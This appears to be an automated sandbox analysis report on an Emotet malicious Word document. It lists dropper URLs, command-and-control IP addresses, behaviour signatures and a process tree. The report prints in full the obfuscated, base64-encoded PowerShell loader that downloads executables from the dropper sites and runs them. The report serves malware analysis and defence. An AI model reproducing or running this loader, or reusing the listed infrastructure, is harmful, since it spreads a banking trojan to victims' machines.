Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    18/09/2020, 20:08

General

  • Target
    emotet_e1_62369ff5907322b724aa7887f89b56d02ca2c5e1388236064005e7c9d8451dc0_2020-09-18__200543._doc.doc
  • Size 149KB
  • Sample200918-64t8gap786
  • SHA256 62369ff5907322b724aa7887f89b56d02ca2c5e1388236064005e7c9d8451dc0
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://jpwoodfordco.com/admin/sDs/

  • exe.dropper

    http://luzzeri.com/wp-includes/o9G/

  • exe.dropper

    http://matadebenfica.com/permanente/u/

  • exe.dropper

    https://hapyc.com/wp-content/s/

  • exe.dropper

    https://zycccccc.top/wp-content/lx3/

  • exe.dropper

    https://dezurve.sa/webmail/installer/mqi/

  • exe.dropper

    http://swiftlogisticseg.com/wp-admin/7/

Extracted

Family
  • emotet

C2
  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_62369ff5907322b724aa7887f89b56d02ca2c5e1388236064005e7c9d8451dc0_2020-09-18__200543._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3888
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABJAHIAeQBsAHkAaQBtAD0AKAAoACcARQBnACcAKwAnAG0AdQBhACcAKQArACcAaAB0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAUgBwAHIAbwBmAGkAbABFAFwAWQByAHoAUgBYAGMAeQBcAEkATwBxAEcAZQBBAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAUgBJAHQAYABZAHAAcgBgAE8AdABvAGMAYABPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACcAMQAnACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEEAZABiAHgAdgBiADMAIAA9ACAAKAAoACcASAAnACsAJwBwAGEAJwArACcAdQBkAHMAJwApACsAJwAxACcAKQA7ACQASQA1AHEAYgBtAGQAZwA9ACgAKAAnAFAAJwArACcAMgBsACcAKQArACgAJwBlAG8AcgAnACsAJwBrACcAKQApADsAJABPAF8AZwAzAHAANABqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AFkAJwArACgAJwByAHoAJwArACcAcgAnACkAKwAnAHgAYwB5AHsAMAB9AEkAbwBxAGcAZQAnACsAJwBhAHMAJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABBAGQAYgB4AHYAYgAzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARABzAGsAcgAyAGUAbgA9ACgAJwBXACcAKwAoACcAZwA3ACcAKwAnAHoAJwApACsAKAAnAF8AMAAnACsAJwBoACcAKQApADsAJABDAGwANABoAGwANgBhAD0AJgAoACcAbgBlACcAKwAnAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAdAAuAFcARQBCAEMAbABpAGUATgB0ADsAJABZAHEAcgBuAHkAYgA2AD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAagAnACsAJwBwAHcAbwBvAGQAJwApACsAKAAnAGYAJwArACcAbwAnACsAJwByAGQAYwBvAC4AJwArACcAYwBvAG0ALwBhAGQAbQBpACcAKQArACcAbgAnACsAKAAnAC8AcwAnACsAJwBEACcAKQArACgAJwBzAC8AJwArACcAKgBoACcAKQArACcAdAB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBsACcAKQArACgAJwB1ACcAKwAnAHoAegAnACsAJwBlAHIAJwArACcAaQAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKQArACgAJwBvACcAKwAnADkARwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAbQBhAHQAYQAnACsAJwBkACcAKQArACgAJwBlAGIAJwArACcAZQBuACcAKQArACgAJwBmACcAKwAnAGkAYwBhAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBwACcAKwAoACcAZQByACcAKwAnAG0AYQBuAGUAbgAnACsAJwB0ACcAKQArACgAJwBlAC8AJwArACcAdQAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwBoACcAKwAnAGEAJwApACsAKAAnAHAAeQBjACcAKwAnAC4AYwBvACcAKQArACgAJwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGMAbwBuAHQAJwArACcAZQBuAHQAJwArACcALwAnACsAJwBzAC8AJwArACcAKgBoAHQAdABwAHMAJwApACsAKAAnADoALwAvAHoAeQAnACsAJwBjACcAKwAnAGMAYwAnACkAKwAnAGMAJwArACcAYwAnACsAJwBjACcAKwAnAC4AdAAnACsAJwBvACcAKwAoACcAcAAvAHcAcAAnACsAJwAtACcAKQArACgAJwBjAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQALwAnACsAKAAnAGwAeAAzAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoALwAvAGQAJwApACsAKAAnAGUAegAnACsAJwB1AHIAdgBlAC4AJwArACcAcwBhACcAKQArACgAJwAvAHcAZQBiAG0AYQAnACsAJwBpAGwALwBpACcAKwAnAG4AJwArACcAcwAnACsAJwB0AGEAJwApACsAKAAnAGwAJwArACcAbABlAHIAJwApACsAKAAnAC8AbQBxACcAKwAnAGkALwAnACkAKwAnACoAJwArACcAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAHMAJwArACcAdwBpACcAKwAnAGYAJwArACcAdABsAG8AZwBpACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAaQAnACsAJwBjAHMAZQBnAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcANwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGcAXwA2ADQAbAA1AD0AKAAnAFoAbAAnACsAKAAnADAAagAnACsAJwA3AHAANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgAYwBuADAAYQAzADAAIABpAG4AIAAkAFkAcQByAG4AeQBiADYAKQB7AHQAcgB5AHsAJABDAGwANABoAGwANgBhAC4AIgBEAE8AYABXAG4ATABgAG8AYQBEAGYASQBsAEUAIgAoACQASABjAG4AMABhADMAMAAsACAAJABPAF8AZwAzAHAANABqACkAOwAkAEUAbABvAHYAaQBqADIAPQAoACcATQAnACsAJwBsACcAKwAoACcAZwAnACsAJwBnAGkAcwBiACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE8AXwBnADMAcAA0AGoAKQAuACIAbABFAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgA1ADUAMAApACAAewAmACgAJwBJACcAKwAnAG4AdgAnACsAJwBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABPAF8AZwAzAHAANABqACkAOwAkAE0AbgBoAHMAcAA5ADYAPQAoACgAJwBFAHIAJwArACcAcQBmACcAKQArACcAZABqACcAKwAnAHAAJwApADsAYgByAGUAYQBrADsAJABCAHQAegB1AHcAdwBzAD0AKAAoACcAVABvAHIAZQB5ACcAKwAnADcAJwApACsAJwByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQAxAHAAYwB5AG0AMgA9ACgAKAAnAE8AOAAnACsAJwBiADMAJwApACsAJwBsAGMAJwArACcAbgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Users\Admin\Yrzrxcy\Ioqgeas\Hpauds1.exe
      "C:\Users\Admin\Yrzrxcy\Ioqgeas\Hpauds1.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Windows\SysWOW64\KBDOGHAM\appmgmts.exe
        "C:\Windows\SysWOW64\KBDOGHAM\appmgmts.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1472

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1472-20-0x0000000000740000-0x0000000000750000-memory.dmp

        memory/1472-19-0x0000000000720000-0x0000000000732000-memory.dmp

        memory/2420-9-0x00007FF881150000-0x00007FF881B3C000-memory.dmp

        memory/2420-11-0x0000016545410000-0x0000016545411000-memory.dmp

        memory/2420-10-0x0000016545230000-0x0000016545231000-memory.dmp

        memory/3476-15-0x00000000005D0000-0x00000000005E2000-memory.dmp

        memory/3476-16-0x00000000005F0000-0x0000000000600000-memory.dmp

        memory/3888-8-0x0000026B97297000-0x0000026B9729C000-memory.dmp

        memory/3888-6-0x0000026B97292000-0x0000026B97297000-memory.dmp

        memory/3888-7-0x0000026B97297000-0x0000026B9729C000-memory.dmp

        memory/3888-5-0x0000026B94957000-0x0000026B9495E000-memory.dmp

        memory/3888-0-0x00007FF888680000-0x00007FF888D46000-memory.dmp

        memory/3888-4-0x0000026B970CF000-0x0000026B970D4000-memory.dmp

        memory/3888-3-0x0000026B97292000-0x0000026B97297000-memory.dmp

        memory/3888-2-0x0000026B970CF000-0x0000026B970D4000-memory.dmp

        memory/3888-1-0x0000026B970CF000-0x0000026B970D4000-memory.dmp